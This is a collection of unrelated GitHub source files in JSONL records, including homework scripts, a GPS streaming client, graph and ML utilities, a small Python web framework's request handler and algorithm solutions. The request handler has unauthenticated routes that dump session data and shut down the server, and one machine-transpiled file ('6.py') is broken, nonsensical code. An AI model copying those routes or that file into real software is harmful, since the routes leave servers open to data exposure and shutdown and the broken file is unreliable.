числу k: -> ', num[index])\n\n\n# list_2 = [1,2,3,1,1]\n# l = 1\n# result = list_2.count(l)\n# print(result)\n\n\"\"\"\nПри отправке кода на Выполнение раскомментируйте строку ниже, чтобы задать значения `list_1` и `k`\n\nПри отправке решения на Проверку закомментируйте эту строку обратно - система автоматически подставит разные значения `list_1` и `k` для проверки\n\"\"\"\n\n# list_1 = [1, 2, 3, 4,7]\n# k = 6\n\n# # Введите ваше решение ниже\n\n# # num = list(map(int, list_]1 ))\n# index = 0\n# min = abs(k - list_1[0])\n# for i in range(1, len(list_1)):\n# count = abs(k - list_1[i])\n# if count < min:\n# min = count\n# index = i\n# print(list_1[index])\n\nfrom functools import reduce\n\n\nk = 'lizard'\nscore_list = {1:'AEIOULNSTRАВЕИНОРСТ',\n \t2:'DGДКЛМПУ',\n \t3:'BCMPБГЁЬЯ',\n \t4:'FHVWYЙЫ',\n \t5:'KЖЗХЦЧ',\n \t8:'JXШЭЮ',\n \t10:'QZФЩЪ'}\nresult =list(k)\nlist = list(k.upper())\nsum = 0\nfor i in range(0,len(list)):\n for j in score_list:\n find = score_list[j].find(list[i])\n if find > -1 : sum += j\nprint(sum)\n ","repo_name":"globeele/python_gb","sub_path":"hm3.py","file_name":"hm3.py","file_ext":"py","file_size_in_byte":3819,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"35830014483","text":"\"\"\" \ngps_stream_client.py should be executed from a gps client in order to send data\nto gps_stream_server.py and therefore to be tracked.\n\"\"\"\n\n__author__ = \"Konstantinos Kagiampakis\"\n__license__ = \"\"\" \nCreative Commons Attribution 4.0 International\nhttps://creativecommons.org/licenses/by/4.0/\nhttps://creativecommons.org/licenses/by/4.0/legalcode\n\"\"\"\n\nimport json\nimport socket\nimport gpsd\nimport time\nimport sys\n\n#you should change your ip address and tcp port to your server's address\nIP_ADDR = '192.168.1.2'\nTCP_PORT = 2345\nBUFFER_SIZE = 20\nNO_FIX = bytes(\"NO-FIX\",\"utf-8\")\nout = NO_FIX\n\n# Connect to the local gpsd\nwhile True:\n try:\n print(\"Connecting on GPSD...\")\n gpsd.connect()\n except:\n print(\"Could not connect to GPSD.\\nThis script is persistent and will try to reconnect to GPSD in 10 sec.\",sys.exc_info()[0])\n time.sleep(10)\n else:\n print(\"GPSD connected!\")\n break\n\n# Connect somewhere else\n#gpsd.connect(host=\"127.0.0.1\", port=2947)\n\n#the outside while is used for reconnects\nwhile True:\n while True:\n try:\n print(\"Connecting to remote server\")\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect((IP_ADDR, TCP_PORT))\n except KeyboardInterrupt:\n print(\"Script terminates.\")\n try:\n s.close()\n except:\n raise\n else: \n print(\"Socket closed.\")\n exit() \n except:\n print(\"Could not connect to remote server.\\nThis script is persistent and will try to reconnect in 10 sec.\",sys.exc_info()[0])\n try:\n s.close()\n except:\n raise\n else: \n print(\"Socket closed.\")\n time.sleep(10)\n else:\n print(\"Connected to server!\")\n break\n \n while True:\n # Get gps position\n try:\n packet = gpsd.get_current()\n \n print(\"Mode: \" + str(packet.mode))\n print(\"Satellites: \" + str(packet.sats))\n if packet.mode > 1:\n if packet.mode >= 2:\n print(\"Latitude: \" + str(packet.lat))\n print(\"Longitude: \" + str(packet.lon))\n print(\"Track: \" + str(packet.track))\n print(\"Horizontal Speed: \" + str(packet.hspeed))\n print(\"Time: \" + str(packet.time))\n print(\"Error: \" + str(packet.error))\n if packet.mode == 3:\n print(\"Altitude: \" + str(packet.alt))\n print(\"Climb: \" + str(packet.climb))\n \n data = {'lat': str(packet.lat), 'lon': str(packet.lon), 'track': str(packet.track), 'hspeed': str(packet.hspeed), 'time': str(packet.time)}\n if packet.mode == 3:\n data['alt'] = str(packet.alt)\n data['climb'] = str(packet.climb)\n \n str_data = json.dumps(data)\n out = bytes(str_data,\"utf-8\")\n print(\"data to send:#\"+str_data+\"# str len:\"+str(len(str_data))+\" byte len:\"+str(len(out)))\n \n else:\n print(\"There is no GPS FIX yet.\")\n out = NO_FIX\n time.sleep(10)\n \n except Exception as e:\n if str(e) == '\\'sattelites\\'':\n print(\"There is no GPS FIX yet.\")\n time.sleep(10)\n else: \n print(e)\n time.sleep(3)\n out = NO_FIX \n \n try:\n print(\"sending data to server!\")\n s.send(out)\n s.recv(BUFFER_SIZE)\n except socket.error:\n print(\"Socket error. Socket drops and reconnects.\",sys.exc_info()[0])\n break\n except:\n print('Unknown exception. Socket drops and script terminates.')\n try:\n s.close()\n except:\n raise\n else:\n print(\"Socket closed.\") \n raise \n time.sleep(3)\n \n try:\n s.close()\n except:\n raise\n else: \n print(\"Socket closed.\")\n","repo_name":"kostiskag/gps_tracker","sub_path":"gps_stream_client.py","file_name":"gps_stream_client.py","file_ext":"py","file_size_in_byte":3862,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"98"} +{"seq_id":"71377402242","text":"from pyvis.network import Network\n\nimport pandas as pd\nimport networkx as nx\nimport matplotlib.pyplot as plt\n\n\n\"\"\"\nvisualizes network connections using\nthe networkx library\n\"\"\"\nclass Visualizer:\n\n \"\"\"\n create a new Visualizer instance with an empty graph\n \"\"\"\n def __init__(self):\n self.G = nx.Graph()\n\n \"\"\"\n add nodes to the graph, these are IP addresses\n \"\"\"\n def add_nodes(self, nodes):\n for node in nodes:\n self.G.add_node(node)\n \n \"\"\"\n add edges to the graph, these are destination and source IPs\n \"\"\"\n def add_edges(self, edges):\n for edge in edges:\n self.G.add_edge(edge[0], edge[1])\n\n \"\"\"\n write a plot of the graph to a file\n \"\"\"\n def show(self):\n nx.draw(self.G, with_labels=True, node_size=20, \n font_size=2, node_color=\"tab:green\", edge_color='tab:grey',\n width=0.25)\n filename = 'graph.png'\n plt.savefig(filename, dpi=1200)\n\n def interactive(self):\n nt = Network('1000px', '1000px')\n nt.from_nx(self.G)\n nt.show('nx.html')\n\n\n\"\"\"list of nodes (1d list) and edges (list of tuples (src,dst))\n\nreads the graph's edges from a csv, creates a list of nodes\nand a list of edges as tuples\n\"\"\"\ndef read_graph():\n\n nodes = set()\n edges = list()\n\n df = pd.read_csv('graph.csv')\n\n for (src,dst) in zip(df['src'], df['dst']):\n \n edges.append((src,dst))\n nodes.add(src)\n nodes.add(dst)\n\n return (list(nodes), edges)\n\n\n\"\"\"None\n\nreads the csv, builds the graph and creates\nthe plot\n\"\"\"\nif __name__ == '__main__':\n\n v = Visualizer()\n\n print('[+] reading graph data')\n (nodes, edges) = read_graph()\n\n print('[+] adding nodes')\n v.add_nodes(nodes)\n\n print('[+] adding edges')\n v.add_edges(edges)\n\n print('[+] writing result')\n v.show()\n\n print('[+] interactive')\n v.interactive()\n \n","repo_name":"0xca7/net_analyzer","sub_path":"py/visualize.py","file_name":"visualize.py","file_ext":"py","file_size_in_byte":1915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"15392661429","text":"from Models.Embedding import Embeddings\nfrom Models.Encoder import TransformerEncoder\nfrom Models.TokenCLS import TokenCLSModel\n\n\ndef build_embeddings(opt, src_Tokenizer, for_encoder=True):\n \"\"\"\n Args:\n opt: the option in current environment.\n text_field(TextMultiField): word and feats field.\n for_encoder(bool): build Embeddings for encoder or decoder?\n \"\"\"\n emb_dim = opt.src_word_vec_size if for_encoder else opt.tgt_word_vec_size\n word_padding_idx = src_Tokenizer.pad_token_id#通过tokenizer得到pad id\n num_word_embeddings= src_Tokenizer.vocab_size#通过Tokenizer得到词表大小\n\n emb = Embeddings(\n word_vec_size=emb_dim,\n position_encoding=opt.position_encoding,\n feat_merge=\"concat\",\n feat_vec_exponent=0.7,\n feat_vec_size=-1,\n dropout=opt.dropout[0] if type(opt.dropout) is list else opt.dropout,\n word_padding_idx=word_padding_idx,\n feat_padding_idx=[],\n word_vocab_size=num_word_embeddings,\n feat_vocab_sizes=[],\n sparse= False,\n freeze_word_vecs=False\n )\n return emb\ndef build_Model(opt,src_Tokenizer):\n if opt.tokenCLS==False:\n emb=build_embeddings(opt,src_Tokenizer)\n encoder=TransformerEncoder.from_opt(opt,emb)\n else:\n emb = build_embeddings(opt, src_Tokenizer)\n encoder=TokenCLSModel.from_opt(opt,emb)\n return encoder","repo_name":"kwz219/APIRepair","sub_path":"model_builder.py","file_name":"model_builder.py","file_ext":"py","file_size_in_byte":1411,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"98"} +{"seq_id":"37670649671","text":"import sys\nimport mimetypes\nfrom http.server import BaseHTTPRequestHandler\nfrom http.cookies import SimpleCookie\nfrom importlib import reload\nfrom urllib import parse\nimport NAPyF.active_routes\nfrom NAPyF.Types import Method\nfrom NAPyF.TemplateEngine import render\nfrom NAPyF.RequestFunctions import active_functions\nfrom NAPyF.Admin.Auth.Session import Session\nfrom NAPyF.Admin.Auth.AuthFunctions import auth_level\nimport NAPyF.Routes as Route\nimport cgi\nfrom Settings import GLOBAL_STATIC_DIRECTORY, BASE_DIR, APPS_DIR\n\nsessions = {}\n\n\nclass RequestHandler(BaseHTTPRequestHandler):\n app = None\n context = {}\n file_path = None\n route = None\n route_path = None\n route_match = False\n route_authorized = False\n request_function = None\n session = None\n user_session = None\n\n def do_GET(self):\n reload(NAPyF.active_routes)\n path = parse.urlparse(self.path).path\n params = dict(parse.parse_qsl(parse.urlsplit(self.path).query))\n global sessions\n authorized = 0\n if self.headers['Cookie'] is not None:\n raw_data = self.headers['Cookie']\n cookie = SimpleCookie()\n cookie.load(raw_data)\n cookies = {}\n for key, morsel in cookie.items():\n cookies[key] = morsel.value\n if \"sid\" in cookies:\n if cookies[\"sid\"] in sessions:\n self.session = Session()\n self.session.sid = cookies[\"sid\"]\n self.session.user = sessions[self.session.sid]['username']\n authorized = auth_level(self.session.user)\n if path == \"/showsessions\":\n self.send_response(200)\n self.send_header('Content-type', 'text/html')\n self.end_headers()\n self.wfile.write(str.encode(str(sessions)))\n return\n\n if path == \"/killserver\":\n self.server.server_close()\n sys.exit()\n self.match_route(Method.GET.value, path)\n if not self.route_match:\n self.send_response(404)\n self.file_path = BASE_DIR + '/NAPyF/FileTemplates/error_pages/404.html'\n self.send_header('Content-type', 'text/html')\n self.end_headers()\n self.wfile.write(str.encode(render(self.file_path, {'path': path}, self.session)))\n return\n else:\n if authorized >= self.route['auth_level_required']:\n self.route_authorized = True\n if not self.route_authorized:\n self.send_response(401)\n self.file_path = BASE_DIR + '/NAPyF/FileTemplates/error_pages/401.html'\n self.send_header('Content-type', 'text/html')\n self.end_headers()\n self.wfile.write(str.encode(render(self.file_path, {'path': path}, self.session)))\n return\n else:\n self.send_response(200)\n mimetype = mimetypes.guess_type(self.file_path)[0]\n self.send_header('Content-Type', mimetype)\n if not mimetype == 'text/html':\n self.end_headers()\n with open(self.file_path, 'rb') as f:\n self.wfile.write(f.read())\n return\n self.end_headers()\n if 'request_function' in self.route:\n print(self.context)\n result = active_functions[self.route[\"request_function\"]](params=params)\n self.context = self.context | result\n if self.session is None:\n self.session = Session()\n self.wfile.write(str.encode(render(self.file_path, self.context, self.session)))\n return\n\n def do_POST(self):\n global sessions\n path = parse.urlsplit(self.path).path\n params = dict(parse.parse_qsl(parse.urlsplit(self.path).query))\n authorized = 0\n reload(NAPyF.active_routes)\n form = cgi.FieldStorage(\n fp=self.rfile,\n headers=self.headers,\n environ={\n 'REQUEST_METHOD': 'POST',\n 'CONTENT_TYPE': self.headers['Content-Type'],\n }\n )\n self.match_route(Method.POST.value, path)\n result = active_functions[self.route[\"request_function\"]](form=form, params=params)\n if isinstance(result, Session):\n self.session = result\n if self.session:\n self.session.session['useragent'] = self.headers['User-Agent']\n self.session.session['ip_address'] = self.address_string()\n if self.session.sid not in sessions:\n sessions = sessions | {self.session.sid: self.session.session}\n authorized = auth_level(self.session.session['username'])\n\n elif self.headers['Cookie'] is not None:\n raw_data = self.headers['Cookie']\n cookie = SimpleCookie()\n cookie.load(raw_data)\n cookies = {}\n for key, morsel in cookie.items():\n cookies[key] = morsel.value\n if \"sid\" in cookies:\n if cookies[\"sid\"] in sessions:\n self.session = Session()\n self.session.sid = cookies[\"sid\"]\n self.session.user = sessions[self.session.sid]['username']\n authorized = auth_level(self.session.user)\n if authorized >= self.route['auth_level_required']:\n self.route_authorized = True\n if not self.route_authorized:\n self.send_response(401)\n self.context = {'path': path}\n self.file_path = BASE_DIR + '/NAPyF/FileTemplates/error_pages/401.html'\n return\n else:\n if type(result) == dict:\n if 'logout' in result:\n self.send_response(302)\n username = result['username']\n session_list = []\n for key, value in sessions.items():\n if value['username'] == username:\n session_list.append(key)\n for session in session_list:\n del sessions[session]\n self.send_header('Location', self.route[\"redirect\"])\n self.end_headers()\n return\n else:\n if not self.route_match:\n self.send_response(404)\n self.context = {'path': path}\n self.file_path = BASE_DIR + '/NAPyF/FileTemplates/error_pages/404.html'\n return\n if self.route[\"redirect\"]:\n Route.route_builder(GLOBAL_STATIC_DIRECTORY, BASE_DIR)\n self.send_response(302)\n if self.session:\n print(self.session.user)\n if self.session.cookie != {}:\n self.send_header('Set-Cookie', self.session.cookie)\n self.send_header('Location',\n self.route[\"redirect\"] + '?username=' + self.session.session[\"username\"])\n else:\n self.send_header('Location',\n self.route[\"redirect\"] + '?username=' + self.session.user)\n else:\n self.send_header('Location', self.route[\"redirect\"])\n self.end_headers()\n return\n else:\n Route.route_builder(GLOBAL_STATIC_DIRECTORY, BASE_DIR)\n self.send_response(200)\n self.context = self.context | params\n if self.session:\n if self.session.cookie != {}:\n self.send_header('Set-Cookie', self.session.cookie)\n self.end_headers()\n self.wfile.write(result)\n return\n\n def match_route(self, method, path):\n # Route.route_builder()\n for route in NAPyF.active_routes.routes:\n if '/static' in route[\"route_path\"] and '/static' in path:\n self.route_match = True\n path = path.replace('/static', '')\n self.file_path = route[\"file_path\"] + path\n self.route = route\n return\n elif '/local_static' in route[\"route_path\"] and '/local_static' in path:\n self.route_match = True\n # path = path.replace('/local_static', '')\n self.file_path = APPS_DIR + path\n self.route = route\n return\n elif path == route[\"route_path\"] and method == route[\"request_method\"]:\n self.route_match = True\n # self.app = App(route[\"app_name\"])\n self.file_path = route[\"file_path\"]\n self.context = route[\"context\"]\n self.context[\"html_templates\"] = route[\"html_templates\"]\n self.route = route\n return\n","repo_name":"greenfructose/NAPyF","sub_path":"NAPyF/RequestHandler.py","file_name":"RequestHandler.py","file_ext":"py","file_size_in_byte":9135,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"34584375036","text":"class Solution:\n def canFinish(self, N: int, pre: List[List[int]]) -> bool:\n g = {n:[] for n in range(N)}\n for a,b in pre: g[a].append(b)\n seen = set() \n def dfs(c):\n if g[c] == []:\n return True\n if c in seen:\n return False\n seen.add(c)\n for pre in g[c]:\n if not dfs(pre): return False\n g[c] = []\n return True\n for c in range(N):\n if not dfs(c): return False\n return True","repo_name":"PrimeTimeTran/LeetCode","sub_path":"course-schedule/course-schedule.py","file_name":"course-schedule.py","file_ext":"py","file_size_in_byte":545,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"16490332115","text":"from sys import stdin\nfrom collections import deque\n\ndef bfs(board, pos):\n ret = 0\n dy = [1, -1 ,0, 0]\n dx = [0, 0, 1, -1]\n\n que = deque([pos])\n while len(que) != 0:\n y, x = que.popleft()\n if board[y][x] == '1':\n board[y][x] = '0'\n ret += 1\n for i in range(4):\n ny = y + dy[i]\n nx = x + dx[i]\n if 0 <= ny < n and 0 <= nx < n and board[ny][nx] == '1':\n que.append((ny, nx))\n return ret\n\n\n\nif __name__ == '__main__':\n read = stdin.readline\n n = int(read().rstrip())\n board = [list(read().rstrip()) for _ in range(n)]\n \n ans = []\n for i in range(n):\n for j in range(n):\n if board[i][j] == '1':\n ans.append(bfs(board, (i, j)))\n ans.sort()\n\n print(len(ans))\n for a in ans:\n print(a)","repo_name":"Project-team-Null/Algo-Rhythm-Study","sub_path":"baekjoon/Class3/solving/단지번호붙이기/상준.py","file_name":"상준.py","file_ext":"py","file_size_in_byte":873,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"29658148448","text":"class Solution:\n def bstToGst(self, root: TreeNode) -> TreeNode:\n cur = 0\n if not root: return root\n\n def dfs(root):\n nonlocal cur\n if not root.left and not root.right:\n return\n dfs(root.right)\n root.val += cur\n cur += root.val\n dfs(root.left)\n\n dfs(root)\n return root\n\n\n\n\n\n\n\n","repo_name":"c940606/leetcode","sub_path":"1038. Binary Search Tree to Greater Sum Tree.py","file_name":"1038. Binary Search Tree to Greater Sum Tree.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"98"} +{"seq_id":"25696219585","text":"\"\"\"\n\n@file : 049-对称二叉树.py\n\n@author : xiaolu\n\n@time : 2020-02-19\n\n\"\"\"\n\n\nclass TreeNode:\n def __init__(self, data):\n self.val = data\n self.left = None\n self.right = None\n\n\nclass Solution:\n def isSymmetric(self, root: TreeNode) -> bool:\n if root == None:\n return True\n\n # 用队列保存节点\n queue = [root, root]\n while queue:\n # 从队列中取出两个节点,在比较这两个节点\n left = queue.pop()\n right = queue.pop()\n\n # 如果两个节点都为空就继续循环,两者有一个为空就返回False\n if left == None and right == None:\n continue\n\n if left == None or right == None:\n return False\n\n if left.val != right.val:\n return False\n\n # 将左节点的左孩子, 右节点的右孩子放入队列\n queue.append(left.left)\n queue.append(right.right)\n\n # 将左节点的右孩子,有节点的左孩子放入队列\n queue.append(left.right)\n queue.append(right.left)\n return True\n\n\nif __name__ == '__main__':\n tree = TreeNode(0)\n left_c = TreeNode(1)\n right_c = TreeNode(1)\n tree.left = left_c\n tree.right = right_c\n sol = Solution()\n is_bi_tree = sol.isSymmetric(tree)\n print(is_bi_tree)\n\n\n\n\n","repo_name":"shawroad/Algorithm","sub_path":"备战2020/049-对称二叉树.py","file_name":"049-对称二叉树.py","file_ext":"py","file_size_in_byte":1412,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"98"} +{"seq_id":"74934487681","text":"import tkinter as tk\nimport customtkinter as ct\nimport sv_ttk\n\nfrom tkinter import ttk\nfrom src.commands import upload, callback, center\n\nwindow = tk.Tk()\nstyle = ttk.Style()\n\nwindow.eval('tk::PlaceWindow . center')\nwindow.geometry(\"640x500\")\nwindow.resizable(False,False)\nwindow.title(\"StoryTime\")\n\nsv_ttk.set_theme(\"dark\")\n\nlabel = ttk.Label(window, text=\"Paste Link to an ePub:\", style=\"label.TLabel\", anchor='center')\nlink = ttk.Entry(window, width=40)\nsubmit = ttk.Button(window, text=\"Submit\", style=\"Accent.TButton\", command=lambda:callback(link))\nor_txt = ttk.Label(window, text=\"or\", anchor='center', style=\"label.TLabel\" )\nepub_upload = ttk.Button(window, text='Upload an ePub (.epub) or PDF (.pdf)', style=\"Accent.TButton\", command=lambda:upload())\n\nstyle.configure('label.TLabel', font=('Arial', 16))\n\nlabel.place(\n relx=.5,\n rely=.3, \n anchor='center'\n )\n\nlink.place(relx=.5,\n rely=.4,\n anchor='center'\n )\n\nsubmit.place(relx=.5,\n rely=.52, \n anchor='center'\n )\n\nor_txt.place(relx=.5,\n rely=.60,\n anchor='center'\n )\n\nepub_upload.place(relx=.5,\n rely=.68, \n anchor='center'\n )\n\ncenter(window)\nwindow.mainloop()\n","repo_name":"lin-simon/StoryTime","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"49355401688","text":"def rueustas ( ) :\n import os\n import sys\n import os\n import string\n import string\n import string\n import itertools\n import dictionary\n import dictionary\n import itertools\n import string\n class ProbA ( object ) :\n def __init__ ( self ) :\n self.stdin = open ( 'a.in' , 'r' )\n self.stdout = open ( 'a.out' , 'w' )\n f = string.split ( string.strip ( '\\n' ) )\n t_str = f.strip ( '\\n' )\n T = int ( t_str )\n best = [ int ( 1 ) , int ( 0 ) ]\n for i in range ( 2 , 70 ) :\n best.append ( int ( i ) )\n def __init__ ( self ) :\n self.stdout = open ( 'a.out' , 'w' )\n def readline ( ) :\n return string.split ( string.strip ( '\\n' ) ) [ 0 ]\n for t in range ( 1 , T + 1 ) :\n V = 0\n alien = readline ( ).strip ( )\n vals = dictionary.fromkeys ( )\n a = alien.split ( '' )\n max = 0\n for ( k , v ) in itertools.izip ( best , a ) :\n cc = string.lower ( k )\n if c not in vals :\n next = next ( iter ( v ) )\n if next [ 0 ] > max :\n max = next [ 0 ]\n vals [ cc ] = next\n max += 1\n for c in a :\n V = V * max\n V = V + vals [ u'' ]\n f.write ( 'Case #%s: %.2r\\n' % ( str ( t ) , V ) )\n","repo_name":"subrotonpi/clone_transcompiler","sub_path":"storage/data_transpiled/code_jam/09/31/6.py","file_name":"6.py","file_ext":"py","file_size_in_byte":1401,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"98"} +{"seq_id":"31883060872","text":"# STATIC METHOD\nclass P:\n def prime(v):\n \"列出 v 以下的所有質數\" # docstring\n for n in range(2, v):\n for d in range (2,n):\n if n % d == 0:\n print (n, \"等於\", d, \"*\", n//d)\n break\n else:\n print (n, \" 是質數\")\n\nP.prime(10)\n#p = P()\n#p.prime()","repo_name":"nlhsueh/Learn-Python","sub_path":"basic/class/staticMethod.py","file_name":"staticMethod.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"98"} +{"seq_id":"10880963908","text":"# Problem : use file handling to create a linux command similar to cat .\n# \t\ttest at least 4 cases and options of cat command.\n\n\n#!/usr/bin/python3\n\nimport sys\n\n#list1= sys.argv\n\n\n\n\n\ntry: \n\tif len(sys.argv) == 2:\n\t\tif sys.argv[1] == '--help' :\n\t\t\tprint(\"This command is similar to cat command and has its 5 features similar to that.\\nWe can create a file using syntax :\\n p > filename)\\nWe can view help using syntax :\\n p --help\\nWe can view a file using syntax :\")\n\t\t\tprint(\" p \\nWe can overwrite a file using syntax :\\n p (file name to read from) > (filename)\\nWe can append a file using syntax :\\n p (file name to read from ) >> (filename)\\n\")\n\t\telse :\n\t\t\tf = open(sys.argv[1])\n\t\t\tprint(f.read())\n\t\t\tf.close()\n\telif len(sys.argv) == 3:\n\t\tif sys.argv[1] == '>':\n\t\t\ta=2\n\t\n\telif len(sys.argv) == 4:\n\t\tif sys.argv[2]=='>':\n\t\t\tf1 = open(sys.argv[1],'r+')\n\t\t\tf2 = open(sys.argv[3],'w+')\n\t\t\ttext=f1.read()\n\t\t\tf2.write(text)\t\n\t\t\tf1.close()\n\t\t\tf2.close()\n\t\telif sys.argv[2]=='>>':\n\t\t\tf1 = open(sys.argv[1],'r+')\n\t\t\tf2 = open(sys.argv[3],'a+')\n\t\t\ttext=f1.read()\n\t\t\tf2.write(text)\t\n\t\t\tf1.close()\n\t\t\tf2.close()\n\t\telse:\n\t\t\ta=2\n\telse:\n\t\t\"Wrong Syntax!!!! See help..\"\nexcept: \n\tprint('Wrong Syntax!!!! See help..')\n\n","repo_name":"Abhinaay/Python-Challenges-Adhoc","sub_path":"Problem6.py","file_name":"Problem6.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"39449024806","text":"import os\nfrom api.new_api import Api\nfrom api.api_recv import Api_recv\nimport comm\nimport vision\nimport match\nimport argparse\nimport fields as pitch\nfrom pyVSSSReferee.RefereeComm import RefereeComm\nfrom commons.utils import get_config\n\nparser = argparse.ArgumentParser(description='NeonFC')\nparser.add_argument('--config_file', default='config.json')\nparser.add_argument('--env', default='simulation')\n\nargs = parser.parse_args()\n\nclass Game():\n def __init__(self, config_file=None, env='simulation'):\n self.config = get_config(config_file)\n self.match = match.Match(self,\n **self.config.get('match')\n )\n self.vision = vision.FiraVision()\n self.comm = comm.FiraComm()\n self.field = pitch.Field(self.match.category)\n self.referee = RefereeComm(config_file)\n self.environment = env\n\n self.use_api = self.config.get(\"api\")\n self.api_address = self.config.get(\"network\").get(\"api_address\")\n self.api_port = self.config.get(\"network\").get(\"api_port\")\n self.api_recv_port = self.config.get(\"network\").get(\"api_recv_port\")\n\n self.api = Api(self.api_address, self.api_port)\n\n self.api_recv = Api_recv(self.match, self.api_address, self.api_recv_port)\n \n if os.environ.get('USE_REFEREE'):\n self.use_referee = bool(int(os.environ.get('USE_REFEREE')))\n else:\n self.use_referee = self.config.get('referee')\n \n self.start()\n\n def start(self):\n self.vision.assign_vision(self)\n self.referee.start()\n self.match.start()\n \n self.vision.start()\n self.comm.start()\n\n if self.use_api:\n self.api.start()\n self.api_recv.start()\n \n\n def update(self):\n frame = vision.assign_empty_values(\n self.vision.frame, \n field_size=self.field.get_dimensions(),\n team_side=self.match.team_side\n )\n self.match.update(frame)\n commands = self.match.decide()\n\n if self.use_api and self.match.game_status == 'stop':\n commands = [\n {\n 'robot_id': r['robot_id'],\n 'color': r['color'],\n 'wheel_left': 0,\n 'wheel_right': 0\n } for r in commands\n ]\n self.comm.send(commands)\n\n if self.referee.can_play() or (not self.use_referee):\n self.comm.send(commands)\n else:\n commands = [\n {\n 'robot_id': r['robot_id'],\n 'color': r['color'],\n 'wheel_left': 0,\n 'wheel_right': 0\n } for r in commands\n ]\n self.comm.send(commands)\n\n if self.referee.get_foul() != \"STOP\" and self.referee.get_foul() != None and self.referee.get_foul() != \"HALT\":\n if self.match.coach.get_positions( self.referee.get_foul(), self.match.team_color.upper(), self.referee.get_color(), self.referee.get_quadrant() ):\n self.referee.send_replacement(\n self.match.coach.get_positions( self.referee.get_foul(), self.match.team_color.upper(), self.referee.get_color(), self.referee.get_quadrant() ),\n self.match.team_color.upper()\n )\n\n if self.use_api:\n self.api.send_data(self.match)\n\ng = Game(config_file=args.config_file, env=args.env)\n","repo_name":"project-neon/NeonFC","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3506,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"98"} +{"seq_id":"29870607335","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport os\n\n\ndef read_mode_data(file):\n with open(file, \"rb\") as f:\n data = np.load(f)\n f.close()\n # print(\"data:\", data)\n return data\n\n\nfile1 = os.getcwd() + \"/../result/drive_mode.npy\"\nfile2 = os.getcwd() + \"/../result/collect_mode.npy\"\ndrive_data = read_mode_data(file1)\ncollect_data = read_mode_data(file2)\n# print(drive_data)\n# print(len(drive_data))\n\nplt.figure(figsize=(8, 6), dpi=300)\n\nlabels = [\"Ns = 100\", \"Ns = 150\", \"Ns = 200\", \"Ns = 250\", \"Ns = 300\"]\n# print(len(labels))\ncolors = [(202 / 255., 96 / 255., 17 / 255.), (255 / 255., 217 / 255., 102 / 255.),'pink', 'lightblue', 'lightgreen']\npos = np.array(np.arange(len(drive_data))*3.0+0.35)\n# print(pos)\n#\ndrive_plot = plt.boxplot(drive_data.T, vert=True, showmeans=True, patch_artist=True, meanline=True, labels=labels, positions=pos, widths=0.3)\nplt.setp(drive_plot[\"boxes\"], facecolor=\"pink\")\n# for patch, color in zip(drive_plot['boxes'], colors):\n# patch.set_facecolor(color)\n#\ncollect_plot = plt.boxplot(collect_data.T, vert=True, patch_artist=True, showmeans=True, meanline=True, labels=labels, positions=pos-0.7, widths=0.3)\nplt.setp(collect_plot[\"boxes\"], facecolor=\"lightblue\")\n# for patch, color in zip(collect_plot['boxes'], colors):\n# patch.set_facecolor(color)\n\n# #\nx_position = np.array(np.arange(len(drive_data))*3.0)\nx_position_fmt = [\"Ns = 100\", \"Ns = 150\", \"Ns = 200\", \"Ns = 250\", \"Ns = 300\"]\nplt.xticks([i + 0.8 / 2 for i in x_position], x_position_fmt)\n#\nplt.xlabel(\"Number of Sheep\")\nplt.ylabel(\"Ratio of shepherd mode\")\nplt.title(\"Shepherd = 1\")\nplt.grid(linestyle=\"--\", alpha=0.3)\n# plt.legend([\"drive mode\", \"collect mode\"])\nplt.legend([drive_plot['boxes'][0], collect_plot['boxes'][0]], [\"drive mode\", \"collect mode\"], loc='upper left')\n# plt.legend(drive_plot['boxes'], collect_plot['boxes'], [\"drive mode\", \"collect mode\"], loc='lower right')\nplt.savefig(os.getcwd()+\"/figures/Modes_of_Shepherd_box_plot.png\")\nplt.show()\n","repo_name":"yating1901/Shepherding-Behavior","sub_path":"data_analysis/box_plot_new.py","file_name":"box_plot_new.py","file_ext":"py","file_size_in_byte":1999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"36785411022","text":"def countdown(num):\n new_list = []\n for i in range(num, -1, -1):\n new_list.append(i)\n return new_list \nprint(countdown(5))\n\ndef print_and_return(list):\n print(list[0])\n return list[1]\nprint (print_and_return([1,2]))\n\ndef first_plus_length(list):\n sum = list[0] + len(list)\n return(sum)\nnew_list = first_plus_length([1,2,3,4,5])\nprint(new_list)\n\n# i couldnt figure the last two problems \ndef values_greater_than_second(list):\n if len(list) < 2:\n return False \n output = []\n for i in range(0, len(list)):\n if list[i] > list[1]:\n output.append(list[i])\n print(len(output))\n return output\nprint(values_greater_than_second ([5,2,3,2,1,4]))\nprint(values_greater_than_second ([3]))\n\ndef length_and_value(size, value):\n output = []\n for i in range(0, size):\n output.append(value)\n return 